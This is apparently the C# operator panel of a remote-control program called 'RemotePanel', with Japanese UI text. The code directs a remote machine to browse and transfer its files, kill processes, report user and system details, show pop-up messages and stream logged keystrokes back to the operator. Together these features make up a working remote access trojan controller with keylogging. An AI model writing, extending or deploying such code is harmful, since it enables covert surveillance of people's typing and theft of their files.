private void MainExplorer_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+START_EXPLORER " + serverExplorer_Port.ToString()); serverExplorer = new TCP.Server(serverExplorer_Port); serverExplorer.Start(); serverExplorer.Send("+GET_DRIVES"); menuDriveslist_Combobox.Items.AddRange(serverExplorer.RecvString().Split('|')); serverExplorer.Send("+GET_MAIN_DRIVE"); mainDrive = serverExplorer.RecvString(); menuDriveslist_Combobox.Text = mainDrive; serverExplorer.Send("+GET_DIR_LIST |" + mainDrive + "|"); loadFilePathInformations(menuDriveslist_Combobox.Text); } catch (Exception ex) { if (serverExplorer != null) { serverExplorer.Stop(); } Close(); MessageBox.Show(ex.Message, "サーバーエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } }); }
private void mainSendData_Button_Click(object sender, EventArgs e) { Task.Factory.StartNew(() => { if (mainSendImage_PictureBox.Image != null) { try { Text = "RemotePanel - 画像送信 (送信中...)"; mainSendData_Button.Enabled = false; serverMain.Send("+SEND_IMG " + mainSendTitle_Textbox.Text); serverMain.RecvBytes(); serverMain.Send(getImageBytesFormPictureBox()); serverMain.RecvString(); mainSendData_Button.Enabled = true; Text = "RemotePanel - 画像送信 (送信完了)"; } catch (Exception ex) { MessageBox.Show(ex.Message, "送信エラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); } } }); }
private void startDownload() { Text = "サーバー待機中..."; mainFileOpen_Groupbox.Text = "ファイル保存先"; mainFileSave_Groupbox.Text = "ダウンロードファイル"; try { serverExplorer.Send("+DOWNLOAD |" + SaveFilePath + "|" + serverDownload_Port.ToString()); serverDownload = new TCP.Server(serverDownload_Port); serverDownload.Start(); } catch (Exception ex) { if (serverDownload != null) { serverDownload.Stop(); } MessageBox.Show(ex.ToString(), "", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); return; } try { Text = "ダウンロード中..."; int downloadBuffer = int.Parse(serverDownload.RecvString()); serverDownload.Send("+OK"); byte[] fileData = serverDownload.RecvBytes(5000, downloadBuffer); Text = "ファイル書き込み中..."; if (fileData.Length != 0) { using (FileStream fs = new FileStream(OpenFilePath, FileMode.Create)) { fs.Write(fileData, 0, fileData.Length); } } else { resultLoading = "以下が原因でダウンロードに失敗しました\r\n - アクセス権限がない\r\n - ファイルが存在しない\r\n - 送信パケット容量を超えている"; } fileData = null; GC.Collect(); } catch (Exception ex) { resultLoading = ex.Message; } if (serverDownload != null) { serverDownload.Stop(); } Close(); }
private void startUpload() { Text = "サーバー待機中..."; mainFileOpen_Groupbox.Text = "アップロードするファイル"; mainFileSave_Groupbox.Text = "アップロード先"; try { FileInfo fi = new FileInfo(OpenFilePath); serverExplorer.Send("+UPLOAD |" + SaveFilePath + "|" + fi.Length.ToString() + "|" + serverUpload_Port.ToString()); fi = null; serverUpload = new TCP.Server(serverUpload_Port); serverUpload.Start(); } catch (Exception ex) { if (serverUpload != null) { serverUpload.Stop(); } MessageBox.Show(ex.Message, "", MessageBoxButtons.OK, MessageBoxIcon.Stop); return; } Text = "ファイル読み込み中..."; try { byte[] fileData = null; using (FileStream fs = new FileStream(OpenFilePath, FileMode.Open)) { fileData = new byte[fs.Length]; fs.Read(fileData, 0, (int)fs.Length); } Text = "アップロード中..."; serverUpload.Send(fileData); fileData = null; GC.Collect(); Text = "アップロード確認中..."; resultLoading = serverUpload.RecvString(-1); } catch (Exception ex) { MessageBox.Show(ex.Message, "アップロードエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } if (serverUpload != null) { serverUpload.Stop(); } Close(); }
private void mainProcessExit_Button_Click(object sender, EventArgs e) { if (mainProcessList_ListView.SelectedItems.Count != 0) { Task.Factory.StartNew(() => { try { mainProcessListReload_Button.Enabled = false; mainProcessExit_Button.Enabled = false; mainSaveFile_Button.Enabled = false; ListViewItem itemx = mainProcessList_ListView.SelectedItems[0]; serverMain.Send("+TASK_KILL " + itemx.SubItems[2].Text); string result = serverMain.RecvString(); if (!result.StartsWith("+OK")) { MessageBox.Show(result, "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); } showProcessDataFromRecv(serverTaskMgr.RecvString()); } catch (Exception ex) { if (serverTaskMgr != null) { serverTaskMgr.Stop(); } MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); } mainProcessListReload_Button.Enabled = true; mainProcessExit_Button.Enabled = true; mainSaveFile_Button.Enabled = true; }); } }
private void GetInfo_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+GET_INFO"); string[] system_info = serverMain.RecvString().Split('|'); serverMain.Send("+OK"); string[] paths_info = serverMain.RecvString().Split('|'); Main_computername_tx.Text = system_info[0]; Main_username_tx.Text = system_info[1]; Main_system_info_tx.Text = string.Join("\r\n", system_info); Main_paths_info_tx.Text = string.Join("\r\n", paths_info); Text = "RemotePanel - PC情報"; } catch (Exception ex) { Text = "RemotePanel - PC情報 (取得失敗)"; MessageBox.Show(ex.Message, "", MessageBoxButtons.OK, MessageBoxIcon.Stop); } }); }
private void KeyboardLogs_Load(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { serverMain.Send("+LOGGER " + serverLogger_Port.ToString()); serverLogger = new TCP.Server(serverLogger_Port); serverLogger.Start(); while (true) { mainLog_Textbox.AppendText(serverLogger.RecvString(-1)); Thread.Sleep(50); } } catch (Exception ex) { } }); }
private void mainChange_Button_Click(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { if (mainAfterName_Textbox.Text != "") { mainChange_Button.Enabled = false; serverExplorer.Send("+COPY |True|" + beforePath + "|" + afterPath + @"\" + mainAfterName_Textbox.Text + "|"); string result = serverExplorer.RecvString(); if (result.StartsWith("+")) { MessageBox.Show("名前を変更しました", "", MessageBoxButtons.OK, MessageBoxIcon.Information); Close(); } else { MessageBox.Show(result, "名前変更エラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } } else { MessageBox.Show("名前を指定してください", "", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } mainChange_Button.Enabled = true; mainAfterName_Textbox.Focus(); } catch (Exception ex) { MessageBox.Show(ex.Message, "", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); } }); }
private void Main_send_msg_bt_Click(object sender, EventArgs e) { Task.Factory.StartNew(() => { try { Text = "RemotePanel - メッセージ送信 (送信中...)"; List <int> msg_info = convert_messagebox(); serverMain.Send( "+MSG " + get_base64(Main_subtitle_tx.Text) + " " + get_base64(Main_title_tx.Text) + " " + msg_info[0].ToString() + " " + msg_info[1].ToString() ); serverMain.RecvString(); Text = "RemotePanel - メッセージ送信 (送信完了)"; } catch (Exception ex) { MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Stop); Close(); } }); }
private void loadFilePathInformations(string dirName, bool addFile = true) { try { Text = "RemotePanel - ファイルエクスプローラ (接続中...)"; menuGoback_Button.Enabled = false; menuGoNext_Button.Enabled = false; menuGoComboboxPath_Button.Enabled = false; dirName = dirName.Replace(@"\\", @"\"); string rawRecvData = serverExplorer.RecvString(15000); if (rawRecvData.StartsWith("/")) { MessageBox.Show(rawRecvData.Substring(1), "ファイルエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); menuGoback_Button.Enabled = true; menuGoNext_Button.Enabled = true; menuGoComboboxPath_Button.Enabled = true; Text = "RemotePanel - ファイルエクスプローラ"; return; } string[] filesData = rawRecvData.Split('|'); if (addFile) { menuFilePathList_Combobox.Items.Add(dirName); menuFilePathList_Combobox.Text = dirName; } mainFileListView.Items.Clear(); mainFileListView.BeginUpdate(); foreach (string fileData in filesData) { if (fileData != "") { string[] fileInfo = fileData.Split('^'); ListViewItem lvi = mainFileListView.Items.Add(fileInfo[0]); lvi.SubItems.Add(fileInfo[1]); lvi.SubItems.Add(fileInfo[2]); lvi.SubItems.Add(fileInfo[3]); if (fileInfo[2] == "Folder") { lvi.ImageIndex = 1; } else { lvi.ImageIndex = 0; } } } mainFileListView.EndUpdate(); } catch (Exception ex) { MessageBox.Show(ex.Message, "リストエラー", MessageBoxButtons.OK, MessageBoxIcon.Stop); } menuGoback_Button.Enabled = true; menuGoNext_Button.Enabled = true; menuGoComboboxPath_Button.Enabled = true; Text = "RemotePanel - ファイルエクスプローラ"; }